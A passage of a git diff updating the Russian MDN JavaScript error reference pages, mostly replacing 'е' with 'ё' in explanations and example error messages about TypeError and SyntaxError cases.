получить доступ к свойству substring +foo.substring(1); // TypeError: x не определён, не может получить доступ к свойству substring var foo = null; foo.substring(1); // TypeError: x имеет значение null, не может получить доступ к свойству substring @@ -44,10 +44,10 @@ foo.substring(1); // TypeError: x имеет значение null, не мож <h3 id="Исправление_проблемы">Исправление проблемы</h3> -<p>Чтобы исправить указатель null на неопределенные или нулевые значения, можно использовать оператор typeof, например.</p> +<p>Чтобы исправить указатель null на неопределённые или нулевые значения, можно использовать оператор typeof, например.</p> <pre class="brush: js">if (typeof foo !== 'undefined') { - // Теперь мы знаем, что foo определен. + // Теперь мы знаем, что foo определён. }</pre> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/javascript/reference/errors/cant_delete/index.html b/files/ru/web/javascript/reference/errors/cant_delete/index.html index 88dd78272d..ecdfb8cc30 100644 --- a/files/ru/web/javascript/reference/errors/cant_delete/index.html +++ b/files/ru/web/javascript/reference/errors/cant_delete/index.html @@ -9,9 +9,9 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_delete <h2 id="Сообщение">Сообщение</h2> -<pre class="syntaxbox">TypeError: вызов delete на 'x' не разрешен в строгом режиме (Edge) +<pre class="syntaxbox">TypeError: вызов delete на 'x' не разрешён в строгом режиме (Edge) TypeError: свойство "x" не настраивается и не может быть удалено. (браузер Firefox) -TypeError: не удается удалить свойство "x" из #<Object> (Chrome) +TypeError: не удаётся удалить свойство "x" из #<Object> (Chrome) </pre> <h2 id="Тип_ошибки">Тип ошибки</h2> diff --git a/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html b/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html index f164596b55..caf464a65f 100644 --- a/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html +++ b/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html @@ -1,6 +1,6 @@ --- title: >- - TypeError: can't redefine non-configurable property "x"(Тип ошибки: не удается + TypeError: can't redefine non-configurable property "x"(Тип ошибки: не удаётся переопределить настраиваемое свойство "x") slug: Web/JavaScript/Reference/Errors/Cant_redefine_property translation_of: Web/JavaScript/Reference/Errors/Cant_redefine_property @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_redefine_property <pre class="syntaxbox">TypeError: невозможно изменить свойство, недоступное для записи {x} (Edge) TypeError: невозможно переопределить не настраиваемое свойство "x" (Firefox) -TypeError: не удается переопределить свойство: "x" (Chrome) +TypeError: не удаётся переопределить свойство: "x" (Chrome) </pre> <h2 id="Тип_ошибки">Тип ошибки </h2> @@ -26,13 +26,13 @@ TypeError: не удается переопределить свойство: "x <h3 id="Не_настраиваемые_свойства_созданные_Object.defineProperty">Не настраиваемые свойства, созданные <code>Object.defineProperty</code></h3> -<p>The {{jsxref("Object.defineProperty()")}} создает не настраиваемые свойства, если они не указаны как настраиваемые.</p> +<p>The {{jsxref("Object.defineProperty()")}} создаёт не настраиваемые свойства, если они не указаны как настраиваемые.</p> <pre class="brush: js example-bad">var obj = Object.create({}); Object.defineProperty(obj, "foo", {value: "bar"}); Object.defineProperty(obj, "foo", {value: "baz"}); -// TypeError: не удается переопределить не настраиваемое свойство "foo" +// TypeError: не удаётся переопределить не настраиваемое свойство "foo" </pre> <p>Вам нужно будет установить свойство "foo" в конфигурируемое, если вы собираетесь переопределить его позже в коде.</p> diff --git a/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html b/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html index cfbf6eb56c..7eecd4634b 100644 --- a/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html +++ b/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html @@ -66,5 +66,5 @@ JSON.stringify(circularReference, getCircularReplacer()); <ul> <li>{{jsxref("JSON.stringify")}}</li> - <li><a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> – вводит две функции, JSON.decycle и JSON.retrocycle, что дает возможность кодирования и декодирования циклических структур и групп обеспечения доступности баз данных в расширенный и обратно совместимый формат JSON.</li> + <li><a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> – вводит две функции, JSON.decycle и JSON.retrocycle, что даёт возможность кодирования и декодирования циклических структур и групп обеспечения доступности баз данных в расширенный и обратно совместимый формат JSON.</li> </ul> diff --git a/files/ru/web/javascript/reference/errors/dead_object/index.html b/files/ru/web/javascript/reference/errors/dead_object/index.html index de666b01d8..7ce56344d0 100644 --- a/files/ru/web/javascript/reference/errors/dead_object/index.html +++ b/files/ru/web/javascript/reference/errors/dead_object/index.html @@ -1,7 +1,7 @@ --- title: >- - TypeError: can't access dead object (Тип ошибки:не удается получить доступ к - мертвому объекту) + TypeError: can't access dead object (Тип ошибки:не удаётся получить доступ к + мёртвому объекту) slug: Web/JavaScript/Reference/Errors/Dead_object translation_of: Web/JavaScript/Reference/Errors/Dead_object --- @@ -18,9 +18,9 @@ translation_of: Web/JavaScript/Reference/Errors/Dead_object <h2 id="Что_не_так">Что не так?</h2> -<p>Для улучшения использования памяти и предотвращения утечек памяти Firefox запрещает надстройкам сохранять строгие ссылки на объекты DOM после уничтожения родительского документа. Мертвый объект содержит сильную ссылку (keep alive) на элемент DOM, который сохраняется даже после того, как он был уничтожен в DOM. Чтобы избежать этих проблем, ссылки на узлы DOM во внешнем документе должны храниться в объекте, который относится к этому документу, и очищаться при выгрузке документа или храниться как слабые ссылки.</p> +<p>Для улучшения использования памяти и предотвращения утечек памяти Firefox запрещает надстройкам сохранять строгие ссылки на объекты DOM после уничтожения родительского документа. Мёртвый объект содержит сильную ссылку (keep alive) на элемент DOM, который сохраняется даже после того, как он был уничтожен в DOM. Чтобы избежать этих проблем, ссылки на узлы DOM во внешнем документе должны храниться в объекте, который относится к этому документу, и очищаться при выгрузке документа или храниться как слабые ссылки.</p> -<h2 id="Проверка_если_объект_мертв">Проверка, если объект мертв</h2> +<h2 id="Проверка_если_объект_мёртв">Проверка, если объект мёртв</h2> <p><a href="/en-US/docs/Mozilla/Tech/XPCOM/Language_Bindings/Components.utils">Components.utils</a> предлагает <code>isDeadWrapper()</code>метод, который может использовать привилегированный код. <br> </p> @@ -41,8 +41,8 @@ catch (e) { <h2 id="Смотрите_также">Смотрите также</h2> <ul> - <li><a href="https://blog.mozilla.org/addons/2012/09/12/what-does-cant-access-dead-object-mean/">What does “can’t access dead object” mean?</a>(Что значит “не могу получить доступ к мертвому объекту”?)</li> - <li><a href="/en-US/docs/Extensions/Common_causes_of_memory_leaks_in_extensions">Common causes of memory leaks in extensions</a>(Распространенные причины утечек памяти в расширениях)</li> + <li><a href="https://blog.mozilla.org/addons/2012/09/12/what-does-cant-access-dead-object-mean/">What does “can’t access dead object” mean?</a>(Что значит “не могу получить доступ к мёртвому объекту”?)</li> + <li><a href="/en-US/docs/Extensions/Common_causes_of_memory_leaks_in_extensions">Common causes of memory leaks in extensions</a>(Распространённые причины утечек памяти в расширениях)</li> <li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Language_Bindings/Components.utils">Components.utils</a></li> <li><a href="/en-US/docs/Mozilla/Zombie_compartments">Zombie Compartments</a></li> </ul> diff --git a/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html b/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html index ed6a768e94..06f348e5b2 100644 --- a/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html +++ b/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Errors/Delete_in_strict_mode <h2 id="Сообщение">Сообщение</h2> -<pre class="syntaxbox">SyntaxError: вызов delete on expression запрещен в строгом режиме в (Edge) +<pre class="syntaxbox">SyntaxError: вызов delete on expression запрещён в строгом режиме в (Edge) SyntaxError: применение оператора 'delete' к неполному имени не рекомендуется в (Firefox) SyntaxError: удаление неполного идентификатора в строгом режиме запрещено в (Chrome) </pre> @@ -33,7 +33,7 @@ SyntaxError: удаление неполного идентификатора в <h2 id="Примеры">Примеры</h2> -<p>Попытка удалить простую переменную не работает в JavaScript и выдает ошибку в строгом режиме:</p> +<p>Попытка удалить простую переменную не работает в JavaScript и выдаёт ошибку в строгом режиме:</p> <pre class="brush: js example-bad">'use strict'; @@ -46,7 +46,7 @@ delete x; // SyntaxError: применение оператора 'delete' к неполному имени является устаревшим </pre> -<p>Чтобы освободить содержимое переменной, задайте для нее значение {{jsxref("null")}}:</p> +<p>Чтобы освободить содержимое переменной, задайте для неё значение {{jsxref("null")}}:</p> <pre class="brush: js example-good">'use strict'; diff --git a/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html b/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html index 7e89e085df..1e5ea400a1 100644 --- a/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html +++ b/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html @@ -19,7 +19,7 @@ translation_of: Web/JavaScript/Reference/Errors/Deprecated_expression_closures <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Нестандартный синтаксис закрытия выражений (сокращенный синтаксис функций) устарел и больше не должен использоваться. Этот синтаксис будет полностью удален в Этот синтаксис будет полностью удален в {{bug(1083458)}} а скрипты с его помощью {{jsxref("SyntaxError")}} затем.</p> +<p>Нестандартный синтаксис закрытия выражений (сокращённый синтаксис функций) устарел и больше не должен использоваться. Этот синтаксис будет полностью удалён в Этот синтаксис будет полностью удалён в {{bug(1083458)}} а скрипты с его помощью {{jsxref("SyntaxError")}} затем.</p> <h2 id="Примеры">Примеры</h2> @@ -49,7 +49,7 @@ var obj = { <pre class="brush: js example-good">var x = () => 1;</pre> -<h3 id="Стандартный_синтаксис_с_использованием_сокращенного_синтаксиса_метода">Стандартный синтаксис с использованием сокращенного синтаксиса метода</h3> +<h3 id="Стандартный_синтаксис_с_использованием_сокращённого_синтаксиса_метода">Стандартный синтаксис с использованием сокращённого синтаксиса метода</h3> <p>Замыкания выражений также можно найти с помощью getter'а и setter'а, например:</p> diff --git a/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html b/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html index 9bfa3ffb6c..84c437a28d 100644 --- a/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html +++ b/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Errors/Deprecated_String_generics --- <div>{{jsSidebar("Errors")}}</div> -<div>Поддержка строковых обобщенных методов прекращена с версии Firefox 68. Более старые версии предупреждают об использовании данных методов следующим образом:</div> +<div>Поддержка строковых обобщённых методов прекращена с версии Firefox 68. Более старые версии предупреждают об использовании данных методов следующим образом:</div> <h2 id="Сообщение">Сообщение</h2> @@ -45,7 +45,7 @@ Warning: String.trimRight is deprecated; use String.prototype.trimRight <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Нестандартные обобщенные методы {{jsxref("String")}} являются устаревшими, поддержка в Firefox прекращена, начиная с версии 68. Строковые обобщенные методы предоставляют возможность применять методы экземпляров <code>String</code> к любым объектам.</p> +<p>Нестандартные обобщённые методы {{jsxref("String")}} являются устаревшими, поддержка в Firefox прекращена, начиная с версии 68. Строковые обобщённые методы предоставляют возможность применять методы экземпляров <code>String</code> к любым объектам.</p> <h2 id="Примеры">Примеры</h2> @@ -62,7 +62,7 @@ String(num).replace(/5/, '2'); <h2 id="Прослойка">Прослойка</h2> -<p>Ниже приведен код прослойки, с помощью которой можно добавить поддержку обобщенных методов String в другие браузеры:</p> +<p>Ниже приведён код прослойки, с помощью которой можно добавить поддержку обобщённых методов String в другие браузеры:</p> <pre class="brush: js">/*globals define*/ // Предполагаем, что все требуемые методы экземпляров String уже присутствуют diff --git a/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html b/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html index c90ca639e7..e843b0c45f 100644 --- a/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html +++ b/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Errors/Deprecated_toLocaleFormat <h3 id="Неправильный_синтаксис">Неправильный синтаксис</h3> -<p>В {{jsxref("Date.prototype.toLocaleFormat")}} метод устарел и будет удален (поддержка кроссбраузерных браузеров, доступна только в Firefox).</p> +<p>В {{jsxref("Date.prototype.toLocaleFormat")}} метод устарел и будет удалён (поддержка кроссбраузерных браузеров, доступна только в Firefox).</p> <pre class="brush: js example-bad">var today = new Date(); var date = today.toLocaleFormat('%A, %e. %B %Y'); @@ -34,7 +34,7 @@ console.log(date); <h3 id="Альтернативный_стандартный_синтаксис_с_использованием_ECMAScript_IntlAPI">Альтернативный стандартный синтаксис с использованием ECMAScript IntlAPI</h3> -<p>Стандарт ECMA-402 (ECMAScript Intl API) определяет стандартные объекты и методы, которые позволяют форматировать дату и время с учетом языка (доступно в Chrome 24+, Firefox 29+, IE11+, Safari10+).</p> +<p>Стандарт ECMA-402 (ECMAScript Intl API) определяет стандартные объекты и методы, которые позволяют форматировать дату и время с учётом языка (доступно в Chrome 24+, Firefox 29+, IE11+, Safari10+).</p> <p>You can now either use the {{jsxref("Date.prototype.toLocaleDateString")}} method if you just want to format one date.</p> diff --git a/files/ru/web/javascript/reference/errors/equal_as_assign/index.html b/files/ru/web/javascript/reference/errors/equal_as_assign/index.html index 4219e825ba..1bea6c1135 100644 --- a/files/ru/web/javascript/reference/errors/equal_as_assign/index.html +++ b/files/ru/web/javascript/reference/errors/equal_as_assign/index.html @@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Errors/Equal_as_assign <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Было присвоение ( = ), когда вы обычно ожидали тест на присвоение (==). Чтобы помочь отладке, JavaScript (с включенными строгими предупреждениями) предупреждает об этом шаблоне.</p> +<p>Было присвоение ( = ), когда вы обычно ожидали тест на присвоение (==). Чтобы помочь отладке, JavaScript (с включёнными строгими предупреждениями) предупреждает об этом шаблоне.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html b/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html index d9a8f5ae2c..d44d147e44 100644 --- a/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html +++ b/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html @@ -14,7 +14,7 @@ translation_of: Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>JavaScript 1.6's {{jsxref("Statements/for_each...in", "for each (variable in obj)")}} оператор устарел и будет удален в ближайшем будущем.</p> +<p>JavaScript 1.6's {{jsxref("Statements/for_each...in", "for each (variable in obj)")}} оператор устарел и будет удалён в ближайшем будущем.</p> <h2 id="Примеры">Примеры</h2> @@ -121,7 +121,7 @@ func(undefined); // prints nothing <h4 id="Неправильный_синтаксис">Неправильный синтаксис</h4> -<p>Существует устаревшая идиома для итерации по парам ключ-значение указанного объекта с помощью {{jsxref("Statements/for_each...in", "for each...in")}} и осужденный {{jsxref("Iterator")}} объект.</p> +<p>Существует устаревшая идиома для итерации по парам ключ-значение указанного объекта с помощью {{jsxref("Statements/for_each...in", "for each...in")}} и осуждённый {{jsxref("Iterator")}} объект.</p> <pre class="brush: js example-bad">var object = { a: 10, b: 20 }; diff --git a/files/ru/web/javascript/reference/errors/getter_only/index.html b/files/ru/web/javascript/reference/errors/getter_only/index.html index 9dc64f048f..c7fd7169f9 100644 --- a/files/ru/web/javascript/reference/errors/getter_only/index.html +++ b/files/ru/web/javascript/reference/errors/getter_only/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Errors/Getter_only <pre class="syntaxbox">TypeError: назначение свойств только для чтения не допускается в строгом режиме (Edge) TypeError: установка свойства только для геттера "x" (Firefox) -TypeError: не удается установить свойство "prop" из #<Object>, который имеет только геттер (Chrome) +TypeError: не удаётся установить свойство "prop" из #<Object>, который имеет только геттер (Chrome) </pre> @@ -25,7 +25,7 @@ TypeError: не удается установить свойство "prop" из <h2 id="Примеры">Примеры</h2> -<p>В приведенном ниже примере показано, как установить getter для свойства. Он не задает сеттер, так TypeError выдается при попытке установить свойство температуры до 30. Дополнительные сведения см. Также в {{jsxref("Object.defineProperty()")}} странице.</p> +<p>В приведённом ниже примере показано, как установить getter для свойства. Он не задаёт сеттер, так TypeError выдаётся при попытке установить свойство температуры до 30. Дополнительные сведения см. Также в {{jsxref("Object.defineProperty()")}} странице.</p> <pre class="brush: js example-bad">"use strict"; @@ -45,7 +45,7 @@ arc.temperature; // 'get!' arc.temperature = 30; // TypeError: setting getter-only property "temperature"</pre> -<p>Чтобы устранить эту ошибку, необходимо либо удалить строку 16, в которой предпринята попытка задать свойство temperature, либо реализовать для нее сеттер, например, как показано ниже:</p> +<p>Чтобы устранить эту ошибку, необходимо либо удалить строку 16, в которой предпринята попытка задать свойство temperature, либо реализовать для неё сеттер, например, как показано ниже:</p> <pre class="brush: js example-good highlight[12]">"use strict"; diff --git a/files/ru/web/javascript/reference/errors/identifier_after_number/index.html b/files/ru/web/javascript/reference/errors/identifier_after_number/index.html index 71cdda791f..af7eae5389 100644 --- a/files/ru/web/javascript/reference/errors/identifier_after_number/index.html +++ b/files/ru/web/javascript/reference/errors/identifier_after_number/index.html @@ -22,9 +22,9 @@ SyntaxError: непредвиденное число (Chrome) <p> </p> -<p>Имена переменных, называемых {{Glossary("Identifier", "identifiers")}} соответствуют определенным правилам, которых должен придерживаться ваш код!</p> +<p>Имена переменных, называемых {{Glossary("Identifier", "identifiers")}} соответствуют определённым правилам, которых должен придерживаться ваш код!</p> -<p>Идентификатор JavaScript должен начинаться с буквы, символа подчеркивания ( _ ) или знака доллара ($). Они не могут начать с цифры! Только последующие символы могут быть цифрами (0-9).</p> +<p>Идентификатор JavaScript должен начинаться с буквы, символа подчёркивания ( _ ) или знака доллара ($). Они не могут начать с цифры! Только последующие символы могут быть цифрами (0-9).</p> <p> </p> diff --git a/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html b/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html index a61a8d5f41..9563af464e 100644 --- a/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html +++ b/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html @@ -1,6 +1,6 @@ --- title: >- - TypeError: cannot use 'in' operator to search for 'x' in 'y'(не удается + TypeError: cannot use 'in' operator to search for 'x' in 'y'(не удаётся использовать 'in' оператор поиска для 'x' в 'y') slug: Web/JavaScript/Reference/Errors/in_operator_no_object translation_of: Web/JavaScript/Reference/Errors/in_operator_no_object @@ -43,7 +43,7 @@ TypeError: невозможно использовать оператор 'in' <pre class="brush: js example-bad">var foo = null; "bar" in foo; -// TypeError: не удается использовать оператор 'in' для поиска 'bar' в 'foo' (Chrome) +// TypeError: не удаётся использовать оператор 'in' для поиска 'bar' в 'foo' (Chrome) // TypeError: правая часть 'in' должна быть объектом, полученным null (Firefox) </pre> diff --git a/files/ru/web/javascript/reference/errors/index.html b/files/ru/web/javascript/reference/errors/index.html index 21d076dbdc..41b34e5478 100644 --- a/files/ru/web/javascript/reference/errors/index.html +++ b/files/ru/web/javascript/reference/errors/index.html @@ -8,9 +8,9 @@ translation_of: Web/JavaScript/Reference/Errors --- <p>{{jsSidebar("Errors")}}</p> -<p>Ниже, Вы найдете список ошибок, которые возвращает JavaScript. Эти ошибки могут быть полезны при отладке, но неполадки не всегда сразу понятны. Страницы ниже предлагают дополнительную информацию об этих ошибках. Каждая ошибка это Объект на основании {{jsxref("Error")}} object, и имеет имя (<code>name)</code> и сообщение (<code>message)</code>.</p> +<p>Ниже, Вы найдёте список ошибок, которые возвращает JavaScript. Эти ошибки могут быть полезны при отладке, но неполадки не всегда сразу понятны. Страницы ниже предлагают дополнительную информацию об этих ошибках. Каждая ошибка это Объект на основании {{jsxref("Error")}} object, и имеет имя (<code>name)</code> и сообщение (<code>message)</code>.</p> -<p>Ошибки отображенные в Web консоли могут содержать ссылку на соответствующую страницу ниже, чтобы помочь вам быстро понять проблему в коде.</p> +<p>Ошибки отображённые в Web консоли могут содержать ссылку на соответствующую страницу ниже, чтобы помочь вам быстро понять проблему в коде.</p> <h2 id="Список_ошибок">Список ошибок</h2> diff --git a/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html b/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html index d658f57b73..710aa435f8 100644 --- a/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html +++ b/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html @@ -19,7 +19,7 @@ TypeError: повторное объявление const 'x' (IE) <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Константа-это значение, которое не может быть изменено программой в обычном исполнении. Он не может быть изменен путем повторного назначения и не может быть повторно объявлен. В JavaScript, константы объявляются с помощью ключевого слова const.</p> +<p>Константа-это значение, которое не может быть изменено программой в обычном исполнении. Он не может быть изменён путём повторного назначения и не может быть повторно объявлен. В JavaScript, константы объявляются с помощью ключевого слова const.</p> <h2 id="Примеры">Примеры</h2> @@ -67,7 +67,7 @@ function setupBigScreenEnvironment() { <h3 id="const_и_неизменность"><code>const</code> и неизменность</h3> -<p>Объявление const создает ссылку только для чтения на значение. Это не означает, что значение, которое он содержит, является неизменяемым, просто идентификатор переменной не может быть переназначен. Например, если содержимое является объектом, это означает, что сам объект все еще может быть изменен. Это означает, что нельзя изменить значение, хранящееся в переменной:</p> +<p>Объявление const создаёт ссылку только для чтения на значение. Это не означает, что значение, которое он содержит, является неизменяемым, просто идентификатор переменной не может быть переназначен. Например, если содержимое является объектом, это означает, что сам объект все ещё может быть изменён. Это означает, что нельзя изменить значение, хранящееся в переменной:</p> <pre class="brush: js example-bad">const obj = {foo: 'bar'}; obj = {foo: 'baz'}; // TypeError: invalid assignment to const `obj' diff --git a/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html b/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html index f9e91b0a53..9f0b68e84c 100644 --- a/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html +++ b/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html @@ -22,11 +22,11 @@ SyntaxError: объявление переменной цикла for-in мож <h2 id="Что_пошло_не так">Что пошло не так?</h2> -<p>Глава цикла <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> содержит выражение инициализатора. То есть переменная объявляется и присваивается значение <code>|for (var i = 0 in obj)|</code>. В нестрогом режиме это объявление head игнорируется и ведет себя как <code>|for (var i in obj)|</code>. Однако в строгом режиме создается синтаксическая ошибка.</p> +<p>Глава цикла <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> содержит выражение инициализатора. То есть переменная объявляется и присваивается значение <code>|for (var i = 0 in obj)|</code>. В нестрогом режиме это объявление head игнорируется и ведёт себя как <code>|for (var i in obj)|</code>. Однако в строгом режиме создаётся синтаксическая ошибка.</p> <h2 id="Примеры">Примеры</h2> -<p>Данный пример дает SyntaxError:</p> +<p>Данный пример даёт SyntaxError:</p> <pre class="brush: js example-bad">"use strict"; diff --git a/files/ru/web/javascript/reference/errors/is_not_iterable/index.html b/files/ru/web/javascript/reference/errors/is_not_iterable/index.html index c084aac4e3..5e2823d3c1 100644 --- a/files/ru/web/javascript/reference/errors/is_not_iterable/index.html +++ b/files/ru/web/javascript/reference/errors/is_not_iterable/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Errors/is_not_iterable <h2 id="Сообщение">Сообщение</h2> <pre class="syntaxbox">TypeError: "x" не является итерационным (Firefox, Chrome) -TypeError: 'x' не является функцией или ее возвращаемое значение не является итерационным (Chrome) +TypeError: 'x' не является функцией или её возвращаемое значение не является итерационным (Chrome) </pre> <h2 id="Тип_ошибки">Тип ошибки</h2> @@ -17,7 +17,7 @@ TypeError: 'x' не является функцией или ее возвращ <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Значение, которое дается как правая сторона for...of или как аргумент функции, такой как {{jsxref("Promise.all")}} или {{jsxref("TypedArray.from")}}, не является итерационным объектом. Повторяемое может быть, встроенный итератор типа, такие как {{jsxref("Array")}}, {{jsxref("String")}} или {{jsxref("Map")}}, генератор результатом, или объект, реализующий итератор протокол.</p> +<p>Значение, которое даётся как правая сторона for...of или как аргумент функции, такой как {{jsxref("Promise.all")}} или {{jsxref("TypedArray.from")}}, не является итерационным объектом. Повторяемое может быть, встроенный итератор типа, такие как {{jsxref("Array")}}, {{jsxref("String")}} или {{jsxref("Map")}}, генератор результатом, или объект, реализующий итератор протокол.</p> <h2 id="Примеры">Примеры</h2> @@ -77,7 +77,7 @@ for (let x of generate) // TypeError: генерация не является console.log(x); </pre> -<p>Если они не вызываются, то объект {{jsxref("Function")}}, соответствующий генератору, можно вызвать, но нельзя выполнить итерацию. Вызов генератора создает итерационный объект, который будет выполнять итерацию по значениям, полученным во время выполнения генератора.</p> +<p>Если они не вызываются, то объект {{jsxref("Function")}}, соответствующий генератору, можно вызвать, но нельзя выполнить итерацию. Вызов генератора создаёт итерационный объект, который будет выполнять итерацию по значениям, полученным во время выполнения генератора.</p> <pre class="brush: js example-good">function* generate(a, b) { yield a; diff --git a/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html b/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html index 5e65f8c633..f848e5486d 100644 --- a/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html +++ b/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html @@ -39,7 +39,7 @@ var f = Function('x,', 'return x;'); // SyntaxError (лишняя запятая) var f = Function(37, "alert('OK')"); -// SyntaxError (числа не могут использоваться в качестве имен аргументов) +// SyntaxError (числа не могут использоваться в качестве имён аргументов) </pre> <h3 id="Правильный_код">Правильный код</h3> diff --git a/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html b/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html index 32035a2365..12acf53f79 100644 --- a/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html +++ b/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html @@ -24,7 +24,7 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_bracket_after_list <h2 id="Примеры">Примеры</h2> -<h3 id="Незавершенный_инициализатор_массива">Незавершенный инициализатор массива</h3> +<h3 id="Незавершённый_инициализатор_массива">Незавершённый инициализатор массива</h3> <pre class="brush: js example-bad">var list = [1, 2, diff --git a/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html b/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html index 856d2fe526..00012ea3c4 100644 --- a/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html +++ b/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html @@ -55,7 +55,7 @@ obj['propertyKey'] = 'value'; <h3 id="Вычисляемые_свойства">Вычисляемые свойства</h3> -<p>Если вы создаете ключ свойства из выражения, то вам необходимо использовать квадратные скобки. В противном случае имя свойства не будет вычислено:</p> +<p>Если вы создаёте ключ свойства из выражения, то вам необходимо использовать квадратные скобки. В противном случае имя свойства не будет вычислено:</p> <pre class="brush: js example-bad">var obj = { 'b'+'ar': 'foo' }; // SyntaxError: missing : after property id diff --git a/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html b/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html index 0d971440c7..0f3c17df1f 100644 --- a/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html +++ b/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html @@ -46,12 +46,12 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_function_bod } };</pre> -<p>Еще больше путаницы может внести использование {{Glossary("IIFE")}}, <a href="/ru/docs/Web/JavaScript/Closures">замыканий</a> и прочих конструкций, где используется большое количество различных скобок:</p> +<p>Ещё больше путаницы может внести использование {{Glossary("IIFE")}}, <a href="/ru/docs/Web/JavaScript/Closures">замыканий</a> и прочих конструкций, где используется большое количество различных скобок:</p> <pre class="brush: js example-bad">(function() { if (true) { return false; } ); </pre> -<p>Зачастую облегчить поиск ошибок можно, проверив отступы еще раз или расставив их по-другому.</p> +<p>Зачастую облегчить поиск ошибок можно, проверив отступы ещё раз или расставив их по-другому.</p> <pre class="brush: js example-good">(function() { if (true) { diff --git a/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html b/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html index 1b84367f61..fd7d0ca039 100644 --- a/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html +++ b/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html @@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argume <h2 id="Примеры">Примеры</h2> -<p>Из-за отсутствия оператора конкатенации "+", JavaScript ожидает аргумент функции <code>log</code> просто <code>"PI: "</code>. В этом случае, он должен быть заключен в закрывающие скобки.</p> +<p>Из-за отсутствия оператора конкатенации "+", JavaScript ожидает аргумент функции <code>log</code> просто <code>"PI: "</code>. В этом случае, он должен быть заключён в закрывающие скобки.</p> <pre class="brush: js example-bad">console.log('PI: ' Math.PI); // SyntaxError: missing ) after argument list diff --git a/files/ru/web/javascript/reference/errors/no_variable_name/index.html b/files/ru/web/javascript/reference/errors/no_variable_name/index.html index 9ac5f9cb6e..0791d91708 100644 --- 